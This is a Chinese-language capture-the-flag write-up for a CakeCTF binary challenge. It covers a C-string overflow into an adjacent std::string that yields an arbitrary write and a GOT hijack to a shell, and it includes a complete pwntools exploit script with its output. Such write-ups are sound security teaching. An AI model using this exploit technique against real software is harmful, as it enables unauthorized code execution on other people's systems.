# C string or C++ string?
## 题目信息
题目描述:
> Which do you like, C string or C++ string?
远程环境:
```bash
nc 49.232.142.230 13698
```
最终 flag:
```text
CakeCTF{HW1: Remove \"call_me\" and solve it / HW2: Set PIE+RELRO and solve it}
```
## 程序保护
对附件进行基础分析:
```bash
checksec chall
```
保护情况大致如下:
```text
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
```
程序没有开启 PIE,并且是 Partial RELRO,因此 GOT 表可写,适合考虑 GOT 劫持。
## 程序功能
程序提供一个菜单:
```text
1. set c_str
2. get c_str
3. set str
4. get str
choice:
```
从函数符号可以看到程序中存在如下关键函数:
```text
Test::c_str()
Test::str[abi:cxx11]()
Test::call_me()
Test::~Test()
system@plt
```
其中 `Test::call_me()` 内部会调用:
```c
system("/bin/sh");
```
也就是说,只要能劫持程序控制流到 `Test::call_me()`,就可以直接 getshell。
## 漏洞分析
程序中存在一个 `Test` 类对象,内部同时维护了 C 风格字符串和 C++ `std::string`。
对象布局可以理解为:
```text
Test object
+0x00 char c_str[0x20]
+0x20 std::string str
```
菜单选项 1 会向 `c_str` 输入数据,但输入时没有限制长度,因此可以从 `c_str` 溢出到后面的 `std::string` 对象。
`std::string` 在 64 位环境下的关键结构可以简化理解为:
```text
+0x00 data pointer
+0x08 size
+0x10 capacity / local buffer
```
因此通过 `c_str` 溢出,可以伪造后面 `std::string` 的内部指针,让 `std::string.data` 指向任意地址。
之后菜单选项 3 会向 `std::string` 中写入内容:
```text
set str
```
由于前面已经伪造了 `std::string.data`,所以这一步就可以变成一次任意地址写。
## 利用思路
因为程序是 Partial RELRO,所以 GOT 表可写。
目标是劫持一个会被稳定调用的 GOT 表项到 `Test::call_me()`。
这里选择劫持:
```text
operator<<(std::ostream&, char const*)@GOT
```
原因是程序菜单输出时会频繁使用 `cout << "..."`,所以劫持这个 GOT 表项后,只要再次触发菜单输出,就会跳转到 `Test::call_me()`,进而执行:
```c
system("/bin/sh");
```
关键地址如下:
```text
operator<<(std::ostream&, char const*)@GOT = 0x404048
Test::call_me() = 0x4016de
```
利用链:
```text
1. 选择菜单 1,输入超长 c_str
2. 覆盖后方 std::string 对象
3. 伪造 std::string.data = operator<<(std::ostream&, char const*)@GOT
4. 选择菜单 3,向 std::string 写入 p64(Test::call_me)
5. GOT 表项被改写
6. 再次触发菜单输出
7. 程序跳转到 Test::call_me()
8. 执行 system("/bin/sh")
9. cat flag
```
## EXP
```python
from pwn import *
import time
context.log_level = "info"
HOST = "49.232.142.230"
PORT = 13698
OSTREAM_CSTR_GOT = 0x404048
CALL_ME = 0x4016de
io = remote(HOST, PORT, timeout=10)
payload = b"A" * 0x20
payload += p64(OSTREAM_CSTR_GOT)
payload += p64(0)
payload += p64(0x100)
io.recvuntil(b"choice:")
io.sendline(b"1")
io.recvuntil(b"c_str:")
io.sendline(payload)
time.sleep(0.2)
io.recv(timeout=1)
io.sendline(b"3")
io.recvuntil(b"str:")
io.sendline(p64(CALL_ME))
time.sleep(0.2)
io.recv(timeout=1)
io.sendline(b"2")
time.sleep(1)
io.sendline(b"id")
io.sendline(b"cat /home/pwn/flag-ba2a141e66fda88045dc28e72c0daf20.txt")
io.interactive()
```
## 运行结果
执行 EXP 后成功 getshell:
```text
uid=999(pwn) gid=999(pwn) groups=999(pwn)
```
读取 flag:
```bash
cat /home/pwn/flag-ba2a141e66fda88045dc28e72c0daf20.txt
```
得到:
```text
CakeCTF{HW1: Remove \"call_me\" and solve it / HW2: Set PIE+RELRO and solve it}
```
## 总结
本题核心是 C 风格字符串溢出覆盖相邻的 C++ `std::string` 对象。
关键点有三个:
```text
1. c_str[0x20] 后面紧邻 std::string 对象
2. 溢出后可以伪造 std::string 的 data 指针
3. set str 会向伪造的 data 指针写入数据,从而形成任意地址写
```
由于程序没有开启 PIE,并且是 Partial RELRO,所以可以直接改写 GOT。
最终通过覆盖:
```text
operator<<(std::ostream&, char const*)@GOT
```
为:
```text
Test::call_me()
```
触发菜单输出后跳转到 `call_me()`,执行 `system("/bin/sh")`,成功拿到 flag。
str.vs.cstr
15206540508 2026-04-29 11:17:50 6 0 返回题目详情
作者:15206540508
1
提交0
收入相关WriteUP
-
Format.INI
1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...
- PWN
- 2年前
-
勇闯迷宫-过三关 (陕西省大学生)
这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...
- PWN
- 2年前
-
[NUAACTF-2017]hello_pwn
***收费WriteUP请购买后查看,VIP用户可免费查看***
- PWN
- 2年前
-
No Way Out的writeup
***收费WriteUP请购买后查看,VIP用户可免费查看***
- PWN
- 2年前
-
Message Board的writeup
***收费WriteUP请购买后查看,VIP用户可免费查看***
- PWN
- 2年前